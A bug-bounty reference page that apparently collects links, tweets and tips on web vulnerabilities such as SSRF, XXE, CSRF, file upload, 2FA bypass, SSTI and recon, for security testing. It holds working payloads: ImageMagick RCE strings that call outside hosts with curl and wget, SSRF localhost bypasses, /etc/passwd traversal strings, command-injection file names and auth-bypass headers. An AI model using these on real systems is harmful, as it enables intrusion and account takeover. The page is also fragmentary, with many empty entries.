[LFI to shell - Exploiting Apache access log](https://roguecod3r.wordpress.com/2014/03/17/lfi-to-shell-exploiting-apache-access-log/) * * * Local File Disclosure using SQL Injection by[@IndiShell1046](https://twitter.com/IndiShell1046) [https://dl.packetstormsecurity.net/papers/attack/lfd-via-sql-inj.pdf](https://t.co/JYfNDEjoxC?amp=1) **Tools:** * # Server Side Request Forgery (SSRF) References for SSRF **Blogs / Articles:** * SSRF Bible - [https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit]() * * * * * * * * * * * * * * * Blind SSRF - * Bypasses - * * [**https://secureitmania.medium.com/an-unknown-linux-secret-that-turned-ssrf-to-os-command-injection-6fe2f4edc202**](https://secureitmania.medium.com/an-unknown-linux-secret-that-turned-ssrf-to-os-command-injection-6fe2f4edc202) * [**https://bughunter25.medium.com/a-tale-of-html-to-pdf-converter-ssrf-and-various-bypasses-4a3e11030c77**](https://bughunter25.medium.com/a-tale-of-html-to-pdf-converter-ssrf-and-various-bypasses-4a3e11030c77) * [**https://chawdamrunal.medium.com/how-i-exploit-out-of-band-resource-load-http-using-burp-suite-extension-plugin-taborator-2c5065d6a50b**](https://chawdamrunal.medium.com/how-i-exploit-out-of-band-resource-load-http-using-burp-suite-extension-plugin-taborator-2c5065d6a50b) * [**https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/**](https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/) * [**https://notifybugme.medium.com/chaining-an-blind-ssrf-bug-to-get-an-rce-92c09de3c0ba**](https://notifybugme.medium.com/chaining-an-blind-ssrf-bug-to-get-an-rce-92c09de3c0ba) **Cheatsheets / Guides:** * * * * **Tips / Twitter Threads:** * * * * SSRF Breakpoints - * SSRF - bypass * **Tools / Payloads:** * * [
](https://twitter.com/subhajitsaha0x/status/1257728798914523136) ![https://twitter.com/m4ll0k/status/1328375464281452547](/files/-MWEKfnWh_h1Vu5Yhzuu) [SSRF Bypass list for localhost (127.0.0.1):](https://twitter.com/LooseSecurity/status/1331270289733324805) [http://127.1/ http://0000::1:80/ http://\[::\]:80/ http://2130706433/ http://whitelisted@127.0.0.1 http://0x7f000001/ http://017700000001 http://0177.00.00.01](https://twitter.com/LooseSecurity/status/1331270289733324805) [Also using a redirect to localhost will often work.](https://twitter.com/LooseSecurity/status/1331270289733324805) ![](/files/-MWEMWLJdlCBA_gM4sfa) ![](/files/-MWEUUW5hLKRY3EmP52W) {% embed url="" %} {% embed url="" %} {% embed url="" %} Blind - {% embed url="" %} {% embed url="" %} * * * ```
``` # Remote Code Execution (RCE) ![](/files/-MWFh90BHWb03I4qgLFu) {% embed url="" %} Blogs: * # XML Entity Injecton (XXE) **Articles / Blogs:** * * * * * * [https://versprite.com/blog/xml-external-entity-xxe-processing/utm\_content=73970973\&utm\_medium=social\&utm\_source=twitter](https://versprite.com/blog/xml-external-entity-xxe-processing/?utm_content=73970973\&utm_medium=social\&utm_source=twitter) * * * * * * * * * * * * * * * * * **Tools / Payloads:** **Twitter:** * * * * * ![](/files/-Mj8Aq9zWE0GmXbQvcLy) ![](/files/-Mj8Atq0IXlWqDWU2W7j) {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} # Price Manipulation * ![https://twitter.com/SalahHasoneh1/status/1288211273805635585?s=20](/files/-MWFewpkKexV1kxayJO7) ![](/files/-MWFgMPpwcFikacBIcaM) ![https://twitter.com/hunter0x7/status/1360279961144356864?s=20](/files/-MWFihVcMaQltkOyjrDG) * {% file src="/files/-MkWN231cKEh2c7vdZyf" %} Testing {% endfile %} # Directory / Path Traversal * # Cross Site Request Forgery (CSRF) **Blog / Articles:** * * * * * * * * **Bypasses / Cheatsheets:** ![https://twitter.com/hackerscrolls/status/1265217322308046849](/files/-MIQ95wLAXE9M__Z6JNZ) {% file src="/files/-MIQ8VN\_-wACse--5jeu" %} * **CSRF MindMap:** ![](/files/-MIQAMy82uFSAwsyQvkj) **Videos:** * * {% embed url="" %} ![](/files/-MWEPcBVpp_kW_FNRs7J) ATO using CSRF -Account setting-password change option -We need current password to change new password -capture the request,remove current password and CSRF-Token paramater -Generate CSRF poc -Send it to victim and victim password go changed [#bugbountytips](https://twitter.com/hashtag/bugbountytips?src=hashtag_click) [#BugBounty](https://twitter.com/hashtag/BugBounty?src=hashtag_click) {% embed url="" %} {% embed url="" %} # JSON CSRF * * * # Password Reset **Blogs / Articles:** * * Forgot/Reset Password Test Cases - * * * **Write-ups:** * [https://link.medium.com/OVvYaKLng3](https://t.co/jGpEwy3Lpt?amp=1) * [https://link.medium.com/HZpTPtR2F3](https://t.co/Cq3rHAIid1?amp=1) * [https://link.medium.com/bpYhuYR2F3](https://t.co/OJiiXUZgWS?amp=1) * [https://link.medium.com/5PnwoRS2F3](https://t.co/rJGr1hRtlw?amp=1) * [https://link.medium.com/A67jqlT2F3](https://t.co/1aYPhHoW2U?amp=1) * [https://thezerohack.com/hack-instagram-again…](https://t.co/ufBZWGwptT?amp=1) * [https://ninadmathpati.com/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty…](https://t.co/t3HFbNtXa5?amp=1) * [https://link.medium.com/MgdJoyY2F3](https://t.co/i1PQ79EJHA?amp=1) * [https://link.medium.com/iRVWjs02F3](https://t.co/uY7UkHi2Mf?amp=1) * [https://link.medium.com/roeUih12F3](https://t.co/LpkUySCXf1?amp=1) * * **Mindmaps / Image References:** ![https://twitter.com/N008x/status/1302515523557548032](/files/-MIVEn4Wzyoy0eneHto3)
![](/files/-MGnaaxvGu_F5Go_aqmx) **Tweets:** * * ![](/files/-MWEHiVPL12hzROKZbR_) [When testing password fields, my preferred password is: %01%E2%80%AEalert%0D%0A](https://twitter.com/secalert/status/1353303406044184577?s=20) [Let's break it down: %01 is SOH %e2%80%ae is RTLO %0d%0a is CRLF](https://twitter.com/secalert/status/1353303406044184577?s=20) [Test cases on login: 1. can I log in only using %01? 2. without the CRLF in it? 3. is trela accepted instead of alert? (due to RTLO)](https://twitter.com/secalert/status/1353303406044184577?s=20) ``` When testing password fields, my preferred password is: %01%E2%80%AEalert%0D%0A Let's break it down: %01 is SOH %e2%80%ae is RTLO %0d%0a is CRLF Test cases on login: 1. can I log in only using %01? 2. without the CRLF in it? 3. is trela accepted instead of alert? (due to RTLO) https://twitter.com/secalert/status/1353303406044184577?s=20 ``` ![](/files/-Ml-AHaQDIRfRpLt2jqG) # Login Page Issues * * # Deserialization Attacks **Blogs / Writeups / Presentations:** * [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin * [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg * [(Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel) * [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals * * * * * * * * * * * **Tools:** * * * **Cheat sheets:** * **Twitter Threads:** * \[Deserialization Attack Resources] - * * * * * * * * * ![](/files/-Mj8B5168CC07sFGbY_6) {% embed url="" %} # File Upload **Blogs / Articles:** * * * * * * * * **Writeups:** * [https://link.medium.com/sILCWr8xB3](https://t.co/nHvvd7QwpJ?amp=1) * [https://link.medium.com/V8SdaJ8xB3](https://t.co/4YlKwoqEaN?amp=1) * [https://link.medium.com/fRfag0byB3](https://t.co/PCDbm9j1jo?amp=1) * [https://link.medium.com/6qTQZwayB3](https://t.co/qIZXqoygYJ?amp=1) * [https://link.medium.com/jFGhtvbyB3](https://t.co/2WciQWCzxc?amp=1) **Tools:** * Burp Suite Extension - [Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) * * **Cheatsheets:** **Payloads:** * [**https://github.com/daffainfo/AllAboutBugBounty/blob/master/BypassFileUpload.md**](https://github.com/daffainfo/AllAboutBugBounty/blob/master/BypassFileUpload.md) Imagemagick RCE: ``` %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%curl${IFS}zero-way.net/cc`id`) currentdevice putdeviceprops %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%wget http://https://helloworld.free.beeceptor.com) currentdevice putdeviceprops ``` **Tweets:** {% embed url="" %} {% embed url="" %} ![](/files/-MWFYq7Z6uXKarnYbPtk) ![https://twitter.com/hunter0x7/status/1346397333072846848?s=20](/files/-MWFbubQYzLTvqMW7pzK) ![https://twitter.com/HolyBugx/status/1348928810620743682?s=20](/files/-MWFf44fOp1lRmhvpDEK) {% embed url="" %} {% embed url="" %} ``` Chaining file uploads with other vulns:- Set filename to:- > ../../../tmp/lol.png for path traversals > sleep(10)-- -.jpg for SQLi. > .jpg/png for xss > ; sleep 10; for command injections ``` {% embed url="" %} Bug: XSS through file upload. ``` Payload: */alert(1)
](https://twitter.com/h4x0r_dz/status/1335880542353559552/photo/1) ![https://twitter.com/0xblackbird/status/1377386706542895105?s=20](/files/-MXmQYFtziuxLIkNbVau) * # Business Logic Flaws **Blogs / Articles:** * * * # Rate Limit Bypass / 2FA / OTP Bypass * {% embed url="" %} {% embed url="" %} * Wanna Bypass Rate Limit ? Try Bypass with adding null payload %00, %0d%0a, %09, %0C, %20, %0 on email. Not Works ? Just try adding "blank space" on the email, works! * ``` X-Originating-IP: IP X-Forwarded-For: IP X-Remote-IP: IP X-Remote-Addr: IP X-Client-IP: IP X-Host: IP X-Forwared-Host: IP True-Client-IP: IP X-Real-IP: IP ``` I just happened to be able to bypass a 2FA in place during a recent engagement. And this was how I did it. [#bugbountyTips](https://twitter.com/hashtag/bugbountyTips?src=hashtag_click) [#pentestTips](https://twitter.com/hashtag/pentestTips?src=hashtag_click) Last /setup/ endpoint was by attacker while the first one is as victim.[![Image](https://pbs.twimg.com/media/EWHB2DOUMAAfudW?format=png\&name=medium)](https://twitter.com/imhaxormad/status/1252495614161506309/photo/1) ![](/files/-MFoFgskwIajJ3zBU0N2) ![](/files/-MTFx8sSGKlcFTuYwZWq) ![](/files/-MTG12T92LzRkjHXS98h) ![](/files/-MWEKRH0xkzO1FhzCDdH) ![](/files/-MWEL0XZK12wfReAGrOD) {% embed url="" %} [How to find authentication bypass vulnerabilities. Focus. I Added headers. Request GET /delete?user=test HTTP/1.1 Response HTTP/1.1 401 Unauthorized Reqeust GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1 Response HTTP/1.1 302 Found #bugbounty #bugbountytips](https://twitter.com/M404ntf/status/1347919441296809984?s=20) * * {% embed url="" %} [everytime yu face a 401 Unauthorized respense add this header to the request : X-Custom-IP-Authorization: 127.0.0.1 #bugbountytips](https://twitter.com/K0to4m4tsukami/status/1365058637887078406?s=20) / X-Forwarded-Origin: 127.0.0.1 Bug Bounty Technique: GET /page.php?path=../../etc/passwd Forbidden 403 ? Try One Of These: (1)../../../etc/passwd%00 (2)....//....//....//etc/passwd (3)%252e%252e%252fetc%252fpasswd {% embed url="" %} 2FA - {% embed url="" %} # Ruby on Rails **Blogs / Articles / Writeups / Presentations:** * * [Airbnb - Ruby on Rails String Interpolation led to Remote Code Executionbuer.haus](https://buer.haus/2017/03/13/airbnb-ruby-on-rails-string-interpolation-led-to-remote-code-execution/) * * * * * * * * **Cheatsheet:** * * **Labs:** * [h ](https://towardsdatascience.com/building-a-vulnerable-rails-application-for-learning-2a1de8cf98d5) * **Twitter Threads:** * * * * * * * * * * * [When auditing Ruby on Rails apps, always search for .js.erb views files. There is a stupid pattern called "Server-generated JavaScript Responses" which is a way to bypass SOP and inject content via JavaScript files (just like JSONP) which leads to XSSI.](https://twitter.com/lean0x2f/status/1205335920507006977) * [CSRF using PUT , DELETE is possible in ruby on rails frameworks if you see a hidden field called \_method in the request (if it dont exist try to add it) set its value to PUT or DELETE and then submit a GET or POST request it will override the HTTP Verb and success the attack .](https://twitter.com/secmind009/status/1205669730331373568) * [API TIP: 4/31- Testing a Ruby on Rails App & noticed an HTTP parameter containing a URL? Developers sometimes use "Kernel#open" function to access URLs == Game Over. Just send a pipe as the first character and then a shell command (Command Injection by design)](https://twitter.com/traceableai/status/1213495503981305858) * * # Mass Assginment ![](/files/-Mkzg3yAHm3K3IU6NPtl) # S3 Bucket **Tools:** * * # Race Condition * * * * * ``` a Python Snippet to try Race Condition weakness in Turbo Intruder def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=10, pipeline=False ) for i in range(30): engine.queue(target.req, str(i), gate='race1') engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * * # CRLF * ![](/files/-Mj80mEJPZM_4RvLLlF3) # SSTI [Got RCE in 2 minutes via SSTI, \~waybackurls http://target.com | qsreplace "daman{{9\*9}}" > fuzz.txt \~ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ (captured requests in burp) searched: daman81 in burp, got 43 results from 1266 requests, noiicee](https://twitter.com/MrDamanSingh/status/1317042176337932291?s=20) ![](/files/-MWELgz3ZctAOGTgNgZi) {% embed url="" %} {% embed url="" %} {% embed url="" %} # Prototype Pollution * I created this basic chrome extension to find prototype pollution. You won't believe the applications where PP exist, it's everywhere. I hope you make internet pollution free :xD. [https://github.com/msrkp/PPScan](https://t.co/5oO65WBTYC?amp=1) {% embed url="" %} Prototype Pollution an underrated vulnerability: [https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications…](https://t.co/siMjL7ibaQ?amp=1) [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/…](https://t.co/s5stCdqziL?amp=1) Client Side Protype Pollution Scanner: [https://github.com/msrkp/PPScan](https://t.co/4vdybeHceD?amp=1) AST Injection, Prototype Pollution to RCE: [https://blog.p6.is/AST-Injection/](https://t.co/AFiFbnpEBr?amp=1) [#BugBountyTip](https://twitter.com/hashtag/BugBountyTip?src=hashtag_click) [#Hacking](https://twitter.com/hashtag/Hacking?src=hashtag_click) [#Pentesting](https://twitter.com/hashtag/Pentesting?src=hashtag_click)[@debangshu\_kundu](https://twitter.com/debangshu_kundu) {% embed url="" %} {% embed url="" %} {% embed url="" %} # Approach * Recon * Sub Domain * Public Exploits * Assest Discovery * Google Search * Censys * censys.io * Look for SSL certificates * `443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_name:bugcrowd.com` * Look for Internal certificates * `"COMPANY" + internal (get creative)`\ \=> might allow you to find a company internal subdomain or IP address not mentioned anywhere * Shodan * Web Archive * Sensitive info from public resources - github, gist, pastebin , Trello , google sites , google groups , prezi , scribd , slideshare , online IDE's , github wiki , Graffana , zookeeper * Trello - * * OSINT - * Javascript Recon / Client Side Recon * Reverse DNS / Whois * Virtual Host * Retrive HTTP Status - * Broken link hijacking * Reffere Header Check * Rate Limiting * BFAC - BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. - * Bruteforce GET / POST methods * Vhost bruteforcing * vhost 0 * vhost - [Use ffuf for vhosting on every new domain to find hidden servers/admin panels: ffuf -c -u https://target .com -H “Host: FUZZ” -w vhost\_wordlist.txt #BugBountyTips #BugBountyTip #BugBounty](https://twitter.com/rez0__/status/1254588390114287617) * content discovery - For Content Discovery : [gau](https://github.com/lc/gau), [Paramspider](https://github.com/devanshbatham/ParamSpider), [Waybackurl](https://github.com/tomnomnom/waybackurls), httpx, Subfinder, [sublist3r,](https://github.com/aboul3la/Sublist3r) * urlscan.io\ Get directory and files from[@urlscanio](https://twitter.com/urlscanio) public scans for fun & profit url(){ gron "[https://urlscan.io/api/v1/search/?q=domain:$1…](https://t.co/O4Fu4MIrQQ?amp=1)" | grep 'url' | gron --ungron } [$source](https://twitter.com/search?q=%24source\&src=cashtag_click) .bash\_profile [$url](https://twitter.com/search?q=%24url\&src=cashtag_click) [http://target.com](https://t.co/t98T7KNObr?amp=1) Make sure you have[@TomNomNom](https://twitter.com/TomNomNom) gron installed​ # API Security **Blogs / Articles / Presentations:** * [https://speakerdeck.com/riyazwalikar/api-security-testing-null-bangalore-janua](https://speakerdeck.com/riyazwalikar/api-security-testing-null-bangalore-january-2020) * * * * **Writeups:** * **Checklist:** * * **Videos:** * * Tools: * Tweets: {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} * * {% embed url="" %} [
](https://twitter.com/akita_zen/status/1131652331471347712/photo/2) ![](/files/-MkpJMwJiC_K6e6TKfqB) {% embed url="" %} {% embed url="" %} # Mobile Security Android Application Security Series (Part 1 - 26) : [https://goo.gl/Tcp8fX](https://t.co/w5GhvSu1A5?amp=1) * * * * * * * ios - * * * * From my tweets : SANS VIDEO - "How To" Install & Configure Android Emulator by[@joswr1ght](https://twitter.com/joswr1ght) YouTube: [https://youtu.be/ij2Y3dwLdwA](https://t.co/gWKQ1JEvtv?amp=1) - * Android Application Security Series (Part 1 - 26) : [https://goo.gl/Tcp8fX](https://t.co/w5GhvSu1A5?amp=1) * MobileApp-Pentest-Cheatsheet : High value information on specific mobile application penetration testing : - * * Complete [#Android](https://twitter.com/hashtag/Android?src=hashtag_click) app [#security](https://twitter.com/hashtag/security?src=hashtag_click) checklist, with links to testing instructions and best practices [http://goo.gl/Zq4VzP](https://t.co/WH44Ouh8ix?amp=1) * An interesting write-up of how pwning a mobile device led to Domain compromise. From APK to Golden Ticket:[![](https://pbs.twimg.com/card_img/1280046219855892482/K6dkDzHG?format=jpg\&name=small)](https://t.co/fykk6IXEZD?amp=1)[From APK to Golden TicketFrom APK to Golden Ticket Owning an Android smartphone and gaining Domain Admin rights and more... Andrea Pierini , Giuseppe Trotta February 24, 2017 This article describes the potential dangers of...docs.google.com](https://t.co/fykk6IXEZD?amp=1) * I'm releasing all the slides (\~800!) of my Mobile Security class: [https://mobisec.reyammer.io](https://t.co/TAAnBMCBqB?amp=1)! They are not perfect, but students learned how to reverse apps, find\&exploit real-world bugs, reason about threat modelling / system security, etc. Very proud of them :-) => * MOBILE PENTESTING CONTENTS : [https://nileshsapariya.blogspot.com/2016/11/zero-to-hero-mobile-application-testing.html…](https://t.co/Rn8jvpo0h1?amp=1) [https://manifestsecurity.com](https://t.co/fWVDnB0Qyk?amp=1) [https://github.com/sh4hin/MobileApp-Pentest-Cheatsheet…](https://t.co/ATwBfF55Qa?amp=1) [https://github.com/tanprathan/MobileApp-PentestCheatsheet/blob/master/README.md…](https://t.co/a8RK0qqH2Y?amp=1) [https://gbhackers.com/penetration-testing-android-application-checklist/…](https://t.co/ZohcF1Q0Ex?amp=1) [https://gbhackers.com/android-application-penetration-testing/…](https://t.co/XOwWIueAi2?amp=1) [https://secvibe.com/intercepting-android-traffic-for-mobile-appsec-2ba634995f6f…](https://t.co/QavOHmCRja?amp=1) [https://secvibe.com/android-appsec-27855dca8531…](https://t.co/pSnwec9CQd?amp=1)\ * Today I am releasing the Mobile Application pentesting Resources : [https://docs.google.com/document/d/1\_c5VcgiyOIrTl2E5M1gU\_EAb-4piONqQEh4PSw4NUL4/edit?usp=sharing…](https://t.co/h9uWyxHvKP?amp=1) Please share your valuable feedback [#MobileApp](https://twitter.com/hashtag/MobileApp?src=hashtag_click) [#infosec](https://twitter.com/hashtag/infosec?src=hashtag_click) [#pentest](https://twitter.com/hashtag/pentest?src=hashtag_click) [#bugbounty](https://twitter.com/hashtag/bugbounty?src=hashtag_click) [#cheatsheet](https://twitter.com/hashtag/cheatsheet?src=hashtag_click) [#resources](https://twitter.com/hashtag/resources?src=hashtag_click) [#Android](https://twitter.com/hashtag/Android?src=hashtag_click) [#ios](https://twitter.com/hashtag/ios?src=hashtag_click) * * [https://mobile-security.gitbook.io/mobile-security-testing-guide](https://mobile-security.gitbook.io/mobile-security-testing-guide/) * * * * * * * * * * * * {% embed url="" %} # Fuzzing / Wordlists 1. 1. 2. 1. 3. 4. 5. Param Bruteforce - - Arjun 6. Rustbuster - [https://twitter.com/michael\_eder\_/status/1166629786711670784](https://twitter.com/michael_eder_/status/1166629786711670784?ref_src=twsrc%5Etfw%7Ctwcamp%5Eembeddedtimeline%7Ctwterm%5Ecollection%3A1165994575510605826%7Ctwcon%5Etimelinechrome\&ref_url=https%3A%2F%2Ftwitter.com%2Fpentesterland%2Ftimelines%2F1165994575510605826) 7. Check Status Codes - 8. Robots disallowed - 9. Content Discovery - (Also downloaded the same) 10. 11. Dirbuster - When you're brute forcing for endpoints, don't forget to add extensions. You can also use this method to discover backup files. Here's a command I use frequently: dirsearch -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sql -u - 12. PathBrute - 13. 14. [Content\_discovery\_nullenc0de.txt](https://gist.github.com/nullenc0de/96fb9e934fc16415fbda2f83f08b28e7#file-content_discovery_nullenc0de-txt) 15. 16. Status codes - hakul/hakcrawl - gofetch , statusparser 17. What are your normal testing steps when you see a 401? - 18. 19. - web content discovery 20. 21. 22. New dirs to bruteforce - 23. 24. Jhaddix - {% embed url="" %} Tools - Fast web fuzzer written in Go - {% embed url="" %} When you're brute forcing for endpoints, don't forget to add extensions. You can also use this method to discover backup files. Here's a command I use frequently: dirsearch -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sql -u {% embed url="" %} {% embed url="" %} {% embed url="" %} Thread Related -- Any tool to dedupe a list of urls according their parameters? I mean keep only 1 url if it appears several times with same params no matter their values - * * * wordlist by random robbie - * Subdomain bruteforce list - * FULLL LIST \_ * Interesting file extensions to look for: - * Check out subs\_all txt here - * Tool - wordlistgen * * * * {% embed url="" %} * * * {% embed url="" %} {% embed url="" %} ![https://twitter.com/Mah3Sec\_/status/1325030700039368709](/files/-MWEIzcNdlKGT3vcjLQB) {% embed url="" %} {% embed url="" %} * Huge\_DIR\_wordlist:- Exploiting: * {% embed url="" %} {% embed url="" %} {% embed url="" %} # BugBounty Short Write-ups {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} ![https://twitter.com/ElMrhassel/status/1222260273442148353](/files/-Lzk8r1FisMI7ghWbSKj) [![](https://media.discordapp.net/attachments/672316216102354954/698917529166282852/IMG_20200412_204650.jpg)](https://cdn.discordapp.com/attachments/672316216102354954/698917529166282852/IMG_20200412_204650.jpg) ![](/files/-MC8DmNwkpxh5U7oo2rw) # Burp Suite Tips and Tricks * - Match and Replace * - Additonal * How was i able to access a disabled/hidden feature with the help of burpsuite match and replace feature [#bugbountytip](https://twitter.com/hashtag/bugbountytip?src=hashtag_click) [#bugbounty](https://twitter.com/hashtag/bugbounty?src=hashtag_click)[![](https://pbs.twimg.com/card_img/1281260297723023365/a3pppEif?format=png\&name=medium)](https://t.co/q6O93zv2uu?amp=1)[Getting access to disabled/hidden features with the help of Burp Match and ReplaceA few months ago, During my bug bounty hunting, I came across a Company that lets other developers create API documentation similar to…medium.com](https://t.co/q6O93zv2uu?amp=1) * - Find Refernces * Favourite Plugins - * * Burp Hacks - * * * -If you see piece of junk information in the Request/Response body, don't forget gonna Proxy > Options tab and![✅](https://abs-0.twimg.com/emoji/v2/svg/2705.svg) "Unpack gzip/deflate in Resp/Req" (by default they aren't marked). * * Favourite plugins - * - Burp Collaborator * * * * - Favourite Extensions * * * * * - Extension * Burp Extensions - * * * [Are you using @Burp\_Suite with @firefox and don' want see \ the http://detectportal.firefox.com requests? Try this steps: https://twitter.com/firefox/status/841843869205598208](https://twitter.com/vahidnameni/status/1031513363476635650) * Just released my first[@Burp\_Suite](https://twitter.com/Burp_Suite) plugin. If you use multiple browsers through burp, check this out:[aurainfosec/burp-multi-browser-highlightingHighlight Burp proxy requests made by different browsers - aurainfosec/burp-multi-browser-highlightinggithub.com](https://t.co/vT3OdoCcMq?amp=1) Automating Web Apps Input fuzzing via [#Burp](https://twitter.com/hashtag/Burp?src=hashtag_click) Macros [http://blog.securelayer7.net/automating-web-apps-input-fuzzing-via-burp-macros/](https://t.co/I9ICql6YAm?amp=1) Blog post: Turbo Intruder: Embracing the billion-request attack[![](https://pbs.twimg.com/card_img/1280967443146371073/DG0KUfYJ?format=png\&name=small)](https://t.co/Z1qu1cYAxC?amp=1)[Turbo Intruder: Embracing the billion-request attack | PortSwigger Researchportswigger.net](https://t.co/Z1qu1cYAxC?amp=1) Need to import multiple URL;s in to burp suite - cat yahoourls.txt| parallel -j 10 curl --proxy -sk > /dev/null [\ ![](https://pbs.twimg.com/profile_images/1235840495663722496/1jPPEFB7_reasonably_small.jpg)](https://twitter.com/1m4xx0)[D Ξ Ξ P Λ K ![⚙️](https://abs-0.twimg.com/emoji/v2/svg/2699.svg)@1m4xx0](https://twitter.com/1m4xx0)·[Oct 10, 2019](https://twitter.com/1m4xx0/status/1182007481574146048)One liner to import whole list of subdomains into Burp suite for automated scanning! cat \ | parallel -j 200 curl -L -o /dev/null {} -x 127.0.0.1:8080 -k -s [#bugbountytips](https://twitter.com/hashtag/bugbountytips?src=hashtag_click) [#bugbounty](https://twitter.com/hashtag/bugbounty?src=hashtag_click) [#bugbountytip](https://twitter.com/hashtag/bugbountytip?src=hashtag_click) {% embed url="" %} * {% embed url="" %} {% embed url="" %} * [urlgrab --url SITE\_HERE.com --ignore-ssl --proxy socks5://127.0.0.1:8080](https://twitter.com/DevinStokes/status/1280633964147834880?s=20) {% embed url="" %} ![](/files/-MWEI-xhECOM1fvQSrS9) * {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} * * # HackerOne Reports H1 Total Bugs - H1 Bug Types - Tweet from The Cyber Mentor - ``` Account Hijacking Allocation of Resources Without Limits or Throttling - CWE-770 Array Index Underflow - CWE-129 Authentication Bypass Using an Alternate Path or Channel - CWE-288 Brute Force - CWE-307 Buffer Over-read - CWE-126 Buffer Underflow - CWE-124 Buffer Under-read - CWE-127 Business Logic Errors - CWE-840 Classic Buffer Overflow - CWE-120 Cleartext Storage of Sensitive Information - CWE-312 Cleartext Transmission of Sensitive Information - CWE-319 Client-Side Enforcement of Server-Side Security - CWE-602 Code Injection - CWE-94 Command Injection - Generic - CWE-77 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - CWE-362 CRLF Injection - CWE-93 Cross-Site Request Forgery (CSRF) - CWE-352 Cross-site Scripting (XSS) - DOM - CWE-79 Cross-site Scripting (XSS) - Generic - CWE-79 Cross-site Scripting (XSS) - Reflected - CWE-79 Cross-site Scripting (XSS) - Stored - CWE-79 Cryptographic Issues - Generic - CWE-310 Denial of Service- CWE-400 Deserialization of Untrusted Data - CWE-502 Double Free - CWE-415 Download of Code Without Integrity Check - CWE-494 Embedded Malicious Code - CWE-506 Execution with Unnecessary Privileges - CWE-250 Exposed Dangerous Method or Function - CWE-749 External Control of Critical State Data - CWE-642 Externally Controlled Reference to a Resource in Another Sphere - CWE-610 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) - CWE-75 File and Directory Information Exposure - CWE-538 Forced Browsing - CWE-425 Fraud Heap Overflow - CWE-122 HTTP Request Smuggling - CWE-444 HTTP Response Splitting - CWE-113 Improper Access Control - Generic - CWE-284 Improper Authentication Improper Authentication - Generic - CWE-287 Improper Authorization - CWE-285 Improper Certificate Validation - CWE-295 Improper Check or Handling of Exceptional Conditions - CWE-703 Improper Export of Android Application Components - CWE-926 Improper Following of a Certificate's Chain of Trust - CWE-296 Improper Handling of Highly Compressed Data (Data Amplification) - CWE-409 Improper Handling of Insufficient Permissions or Privileges - CWE-280 Improper Handling of URL Encoding (Hex Encoding) - CWE-177 Improper Export of Android Application Components - CWE-926 Improper Following of a Certificate's Chain of Trust - CWE-296 Improper Handling of Highly Compressed Data (Data Amplification) - CWE-409 Improper Handling of Insufficient Permissions or Privileges - CWE-280 Improper Handling of URL Encoding (Hex Encoding) - CWE-177 Improper Input Validation - CWE-20 Improper Neutralization of Escape, Meta, or Control Sequences - CWE-150 Improper Neutralization of HTTP Headers for Scripting Syntax - CWE-644 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) - CWE-80 Improper Null Termination - CWE-170 Improper Privilege Management - CWE-269 Inadequate Encryption Strength - CWE-326 Inclusion of Functionality from Untrusted Control Sphere - CWE-829 Incomplete Blacklist - CWE-184 Incorrect Authorization - CWE-863 Incorrect Calculation of Buffer Size - CWE-131 Incorrect Comparison - CWE-697 Incorrect Permission Assignment for Critical Resource - CWE-732 Information Disclosure - CWE-200 Information Exposure Through an Error Message - CWE-209 Information Exposure Through Debug Information - CWE-215 Information Exposure Through Directory Listing - CWE-548 Information Exposure Through Discrepancy - CWE-203 Information Exposure Through Sent Data - CWE-201 Information Exposure Through Timing Discrepancy - CWE-208 Insecure Direct Object Reference (IDOR) - CWE-639 Insecure Storage of Sensitive Information - CWE-922 Insecure Temporary File - CWE-377 Insufficient Session Expiration - CWE-613 Insufficiently Protected Credentials - CWE-522 Integer Overflow - CWE-190 Integer Underflow - CWE-191 Key Exchange without Entity Authentication - CWE-322 LDAP Injection - CWE-90 Leftover Debug Code (Backdoor) - CWE-489 Malware - CAPEC-549 Man-in-the-Middle - CWE-300 Memory Corruption - Generic - CWE-119 Misconfiguration - CWE-16 Missing Authentication for Critical Function - CWE-306 Missing Authorization - CWE-862 Missing Encryption of Sensitive Data - CWE-311 Missing Required 